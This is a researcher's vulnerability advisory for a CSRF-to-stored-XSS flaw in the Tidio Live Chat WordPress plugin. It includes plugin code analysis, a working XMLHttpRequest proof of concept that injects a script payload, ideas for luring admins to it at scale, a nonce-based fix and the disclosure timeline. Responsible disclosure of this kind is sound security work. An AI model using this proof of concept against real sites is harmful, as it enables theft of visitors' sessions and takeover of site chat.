WordPress
XSS
CSRF

Tidio Live Chat WordPress Plugin <= 4.1.0 CSRF to Stored XSS

Published on 05.11.2019

TL;DR

A CSRF vulnerability in the Tidio Live Chat WordPress Plugin <= 4.1.0 allows attackers to trick admins into adding a Stored XSS payload presented to all visitors. As of 08.06.2019, the plugin has over 50.000 active installations (update on publication 05.11.2019: over 60.000) with 378.691 total downloads. The plugin provides an AJAX action that lets blog administrators adjust the public and private key for the third party service Tidio. Tidio uses the public key to load the corresponding JavaScript widget from their server. Due to a lack of validation of the key and missing CSRF tokens, admins can be tricked into setting a malicious public key for their website, which will be added to the JavaScript snippet on all pages.

Code analysis

Calls to add_action() with an action name prefixed by wp_ajax_ are a convenient way to add AJAX actions to the admin-ajax.php endpoint. In the TidioLiveChat class on line 53, Tidio is adding the tidio_chat_save_keys action:

add_action('wp_ajax_tidio_chat_save_keys', array($this, 'ajaxTidioChatSaveKeys'));

Method ajaxTidioChatSaveKeys within the same class looks like the following:

if (!is_admin()) {
    exit;
}

if (empty($_POST['private_key']) || empty($_POST['public_key'])) {
    exit;
}

update_option(TidioLiveChat::PUBLIC_KEY_OPTION, $_POST['public_key']);
update_option(TidioLiveChat::PRIVATE_KEY_OPTION, $_POST['private_key']);

echo '1';
exit;

After making sure the current site is within the administration context and both the private_key and public_key fields in the POST data are not empty, the WordPress option entries are being adjusted. There is no WordPress Nonce (CSRF token) in use and the key is not being checked for plausibility.

Depending on the configuration, every non-administrative visitor will see the livechat by either the wp_footer or wp_enqueue_scripts hook:

if (!is_admin()) {
    if (get_option(TidioLiveChat::ASYNC_LOAD_OPTION)) {
        add_action('wp_footer', array($this, 'enqueueScriptsAsync'), PHP_INT_MAX);
    } else {
        add_action('wp_enqueue_scripts', array($this, 'enqueueScriptsSync'), 1000);
    }
}

The tidio-async-load option is set to true by default when activating the plugin. The corresponding method is enqueueScriptsAsync:

public function enqueueScriptsAsync()
{
    $publicKey = TidioLiveChat::getPublicKey();
    $widgetUrl = TidioLiveChat::SCRIPT_URL . $publicKey . '.js';
    $asyncScript = <<<SRC
<script type='text/javascript'>
    document.tidioChatCode = "$publicKey";
    (function() {
        function asyncLoad() {
            var tidioScript = document.createElement("script");
            tidioScript.type = "text/javascript";
            tidioScript.async = true;
            tidioScript.src = "{$widgetUrl}";
            document.body.appendChild(tidioScript);
        }
        if (window.attachEvent) {
            window.attachEvent("onload", asyncLoad);
        } else {
            window.addEventListener("load", asyncLoad, false);
        }
    })();
</script>
SRC;
    echo $asyncScript;
}

A public key of </script><script>alert(document.cookie)</script>, which will be returned by TidioLiveChat::getPublicKey();, will generate the following output on every page:

<script type='text/javascript'>
    document.tidioChatCode = "tests</script><script>alert(document.cookie)</script>";
[...]

PoC

As said before, actions prefixed by wp_ajax_ are available via the admin-ajax.php. Assuming our WordPress installation is running on https://wordpress.local/, the URL is https://wordpress.local/wp-admin/admin-ajax.php?action=tidio_chat_save_key.

The above information in combination with the parameter names, which can be found in the ajaxTidioChatSaveKeys method, can be crafted into the following Proof of Concept:

<script>
    var xhr = new XMLHttpRequest();
    xhr.open("POST", "https:\/\/wordpress.local\/wp-admin\/admin-ajax.php?action=tidio_chat_save_keys", true);
    xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8");
    xhr.setRequestHeader("Accept-Language", "de,en-US;q=0.7,en;q=0.3");
    xhr.setRequestHeader("Content-Type", "application\/x-www-form-urlencoded");
    xhr.withCredentials = true;
    var body = "private_key=paul_dannewitz_poc&public_key=tests\x3c/script\x3e\x3cscript\x3ealert(document.cookie)\x3c/script\x3e";
    var aBody = new Uint8Array(body.length);
    for (var i = 0; i < aBody.length; i++)
        aBody[i] = body.charCodeAt(i);
    xhr.send(new Blob([aBody]));
</script>

Besides the obvious impact of a Stored XSS, it should in theory also be possible to add your own Tidio application keys to the target website. That means that any support inquiries will reach the attackers inbox and he can communicate with the visitors through the embedded Tidio Chat right on the website.

In terms of the severity, mass exploitations of the issue are limited by the fact that a blog administrator must visit a website the attacker controls. Targeted attacks can be very dangerous with this. But mass exploitations aren't totally unrealistic. Two simple ways of automating the process are coming to my mind. First, posting comments on vulnerable blogs with a clever text that tricks the admin into clicking a link, which has a specific identifier for the current domain so the PoC can be properly adjusted to the correct URL. Secondly, as a lot of websites disable comments, parse the page for contact mails for forms and do the same.

Remediation

Create and send a WordPress Nonce with the AJAX in the administration backend. Verify the Nonce before updating the keys in the action.

Timeline

08.06.2019 - Reached out to vendor via livechat to coordinate responsible disclosure
09.06.2019 - Received a first response
09.06.2019 - Disclosed the full details to vendor (theoretically)
[Checked back with them a few times, been told that they think they received my report via mail, until...]
07.08.2019 - Reached out again to tell them that I'm unhappy about the lack of a fix and announce that I will publish the details to spread awareness on the 6th of September, which would have been the 90 day industry standard
08.08.2019 - I got contacted because they 'asked for a message with details', but 'never heard back'
08.08.2019 - Disclosed details again, right in their chat this time with a link to the unlisted writeup
[Noticed their Atlassian URL in my blogs analytics, so everything seemed fine finally]
16.10.2019 - Asked for an update one final time and told them again, that the information will be released on the 6th of November (Industry standard 90 days starting from the 8th of August, I excluded the miscommunication that happened until then)
05.11.2019 - Version 4.2.0 has been published, just about in time in order not to have the unfixed vulnerability being published

Related posts

Did you have a nice stay? You might also like the following articles, as they are related to at least one of the current posts tags: WordPress, XSS, CSRF.